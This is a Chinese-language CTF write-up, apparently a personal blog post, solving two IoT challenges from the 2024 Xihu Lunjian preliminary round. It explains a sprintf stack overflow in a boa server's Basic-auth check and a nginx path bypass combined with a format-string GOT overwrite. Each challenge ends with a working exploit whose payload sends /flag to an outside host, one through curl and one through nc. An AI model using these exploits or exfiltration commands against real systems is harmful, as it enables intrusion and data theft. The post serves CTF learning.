2024西湖论剑-初赛

本文最后更新于:2024年3月27日 下午

iot

easygetaway

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
"""
start.sh
"""
#!/bin/sh

echo "fake_passwd" > /tmp/passwd ; chmod 777 /tmp/passwd

while true;
do
    /home/ctf/qemu-arm-static -L /home/ctf/ /home/ctf/boa -f /home/ctf/boa.conf -c /home/ctf/html | su - ctf
    sleep 2
done
# sleep infinity;

题目中自定义了一个函数用于验证Authorization头的内容

在验证函数中首先取出Basic后面的内容,进行base64解密,然后放入sub_16698中进行比较

在base64解密函数中,如果手动将结尾应有=去掉,则会导致堆溢出,不过仅能溢出一两个字节,不过这种利用方式我不会

在比较函数中,使用sprintf格式化了一个字符串,因为传入的a3a4的长度没有限制,所以这里存在栈溢出漏洞,而且因为程序是32位程序,不用担心构造payload的时候出现00截断导致payload无法攻击成功

问题

那么还剩下一个问题,程序开启了PIE保护
在经过我日思夜想,不断努力的思考下,发现使用qemu-user启动程序时,即使程序开启了PIE保护,但程序的基址依旧不会改变

也可能是我的环境有问题,如果你看到这里可以自己尝试一下

exp

假设上面qemu-user启动程序时程序基址不变的条件成立,那么exp如下

1
2
3
4
5
6
7
8
9
10
11
import requests
import base64

url='http://192.168.158.128:8088/'
payload=(0x3ffffa0c.to_bytes(4,'little')+\
0x400168a4.to_bytes(4,'little')+\
b'curl http://192.168.158.128:4444/`cat /flag` &&:').ljust(0x12c,b'a')+\
0x3ffffa08.to_bytes(4,'little')+\
0x40010C98.to_bytes(4,'little')

requests.get(url,headers={"Authorization":b"Basic "+base64.b64encode(payload)})

成功^v^

hardgateway

分析

当使用GET方式访问时,会检测X-Forwarded-For头是否为127.0.0.1,并检测访问的url是否为/cgi-bin/note_handler
之后会获取两个参数actioncontent,在处理content参数的代码中c代码存在一定的误导性,snprintf函数的定义为snprintf(char *dest,size_t size,char *format,...),所以传入的content参数实际上是被用于格式化字符串了

因为程序没有开启PIE保护,经过逆向发现puts,system,strncpy在进行格式化字符串时没有绑定,所以可以尝试将puts对应got表项修改为system,不过因为v14变量的大小为0x90,且程序开启了Canary保护,所以无法通过响应包获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    location /cgi-bin/note_handler {
        internal;
        proxy_set_header X-Forwarded-For 127.0.0.1;
        proxy_pass http://127.0.0.1;
    }
    location /cgi-bin/ {
        if ($uri = "/cgi-bin/note_handler") {
            return 403;
        }
        expires +1h;
        limit_rate 10k;
        root /usr/share;
        fastcgi_pass unix:/var/run/fcgiwrap.socket;
        fastcgi_index /cgi-bin/http;
        include /etc/nginx/fastcgi_params;
        #fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_FILENAME $document_root/cgi-bin/http;
    }

分析nginx的配置文件,无法直接访问/cgi-bin/note_handler,但因为程序中对访问路径进行了再一次的url解码,所以可以使用/cgi-bin/%256eote_handler进行绕过

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
a=b"""GET /cgi-bin/%256eote_handler?action=add,print&content=%192c(@@&content=%176c%34$hhn&content=nc 192.168.158.128 4444 < /flag; HTTP/1.1
Host: 192.168.158.128:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1

"""
import gzip
import socket
s=socket.socket()
s.connect(("192.168.158.128",8088))
s.send(a)


2024西湖论剑-初赛
https://rot-will.github.io/page/wp/2024西湖论剑初赛wp/
作者
rot_will
发布于
2024年3月6日
更新于
2024年3月27日
许可协议